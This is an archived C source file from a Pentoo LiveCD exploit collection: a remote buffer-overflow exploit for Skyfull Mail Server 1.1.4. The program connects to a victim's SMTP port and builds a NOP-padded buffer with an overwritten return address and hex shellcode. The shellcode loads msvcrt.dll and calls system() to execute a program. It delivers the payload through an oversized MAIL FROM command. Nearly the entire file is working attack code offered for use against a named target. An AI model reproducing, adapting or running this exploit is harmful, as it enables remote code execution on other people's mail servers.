home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / skyfull / skyfull.c < prev   
Encoding:
C/C++ Source or Header  |  2005-02-12  |  3.3 KB  |  119 lines
  1.  
  2. /*=============================================================================
  3.    Skyfull Mail Server Version 1.1.4 Exploit
  4.    The Shadow Penguin Security (http://shadowpenguin.backsection.net)
  5.    Written by UNYUN (shadowpenguin@backsection.net)
  6.   =============================================================================
  7. */
  8.  
  9. #include    <stdio.h>
  10. #include    <string.h>
  11. #include    <windows.h>
  12. #include    <winsock.h>
  13.  
  14. #define     MAXBUF          3000
  15. #define     RETADR          655
  16. #define     JMPADR          651
  17. #define     SMTP_PORT       25
  18. #define     JMPEAX_ADR      0xbfe0a035
  19.  
  20. unsigned char exploit_code[200]={
  21. 0xEB,0x32,0x5B,0x53,0x32,0xE4,0x83,0xC3,
  22. 0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,
  23. 0xBF,0xFF,0xD0,0x43,0x53,0x50,0x32,0xE4,
  24. 0x83,0xC3,0x06,0x88,0x23,0xB8,0x28,0x6E,
  25. 0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x43,0x53,
  26. 0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,
  27. 0xD6,0x90,0xEB,0xFD,0xE8,0xC9,0xFF,0xFF,
  28. 0xFF,0x00
  29. };
  30. unsigned char cmdbuf[200]="msvcrt.dll.system.welcome.exe";
  31.  
  32. main(int argc,char *argv[])
  33. {
  34.     SOCKET               sock;
  35.     SOCKADDR_IN          addr;
  36.     WSADATA              wsa;
  37.     WORD                 wVersionRequested;
  38.     unsigned int         ip,p1,p2;
  39.     static unsigned char buf[MAXBUF],packetbuf[MAXBUF+1000];
  40.     struct hostent       *hs;
  41.  
  42.     if (argc<2){
  43.         printf("usage: %s VictimHost\n",argv[0]); return -1;
  44.     }
  45.     wVersionRequested = MAKEWORD( 2, 0 );
  46.     if (WSAStartup(wVersionRequested , &wsa)!=0){
  47.         printf("Winsock Initialization failed.\n"); return -1;
  48.     }
  49.     if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){
  50.         printf("Can not create socket.\n"); return -1;
  51.     }
  52.     addr.sin_family     = AF_INET;
  53.     addr.sin_port       = htons((u_short)SMTP_PORT);
  54.     if ((addr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
  55.             if ((hs=gethostbyname(argv[1]))==NULL){
  56.                 printf("Can not resolve specified host.\n"); return -1;
  57.             }
  58.             addr.sin_family = hs->h_addrtype;
  59.             memcpy((void *)&addr.sin_addr.s_addr,hs->h_addr,hs->h_length);
  60.     }
  61.     if (connect(sock,(LPSOCKADDR)&addr,sizeof(addr))==SOCKET_ERROR){
  62.         printf("Can not connect to specified host.\n"); return -1;
  63.     }
  64.     recv(sock,packetbuf,MAXBUF,0);
  65.     printf("BANNER FROM \"%s\" : %s\n",argv[1],packetbuf);
  66.  
  67.     memset(buf,0x90,MAXBUF); buf[MAXBUF]=0;
  68.     ip=JMPEAX_ADR;
  69.     buf[RETADR  ]=ip&0xff;
  70.     buf[RETADR+1]=(ip>>8)&0xff;
  71.     buf[RETADR+2]=(ip>>16)&0xff;
  72.     buf[RETADR+3]=(ip>>24)&0xff;
  73.     buf[JMPADR  ]=0xeb;
  74.     buf[JMPADR+1]=0x80;
  75.  
  76.     strcat(exploit_code,cmdbuf);
  77.     p1=(unsigned int)LoadLibrary;
  78.     p2=(unsigned int)GetProcAddress;
  79.     exploit_code[0x0d]=p1&0xff;
  80.     exploit_code[0x0e]=(p1>>8)&0xff;
  81.     exploit_code[0x0f]=(p1>>16)&0xff;
  82.     exploit_code[0x10]=(p1>>24)&0xff;
  83.     exploit_code[0x1e]=p2&0xff;
  84.     exploit_code[0x1f]=(p2>>8)&0xff;
  85.     exploit_code[0x20]=(p2>>16)&0xff;
  86.     exploit_code[0x21]=(p2>>24)&0xff;
  87.    
  88. memcpy(buf+JMPADR-strlen(exploit_code)-1,exploit_code,strlen(exploit_code));
  89.  
  90.     sprintf(packetbuf,"HELO UNYUN\n");
  91.     send(sock,packetbuf,strlen(packetbuf),0);
  92.     recv(sock,packetbuf,MAXBUF,0);
  93.     printf("HELO: Reply from \"%s\" : %s\n",argv[1],packetbuf);
  94.     sprintf(packetbuf,"MAIL FROM: UNYUN <%s@shadowpenguin.net>\r\n",buf);
  95.     send(sock,packetbuf,strlen(packetbuf),0);
  96.     closesocket(sock);
  97.     printf("Done.\n");
  98.     return FALSE;
  99. }
  100.  
  101.  
  102.  
  103.  
  104.  
  105.  
  106.  
  107.  
  108.  
  109.  
  110.  
  111.  
  112.  
  113.  
  114.  
  115.  
  116.  
  117.  
  118.  
  119.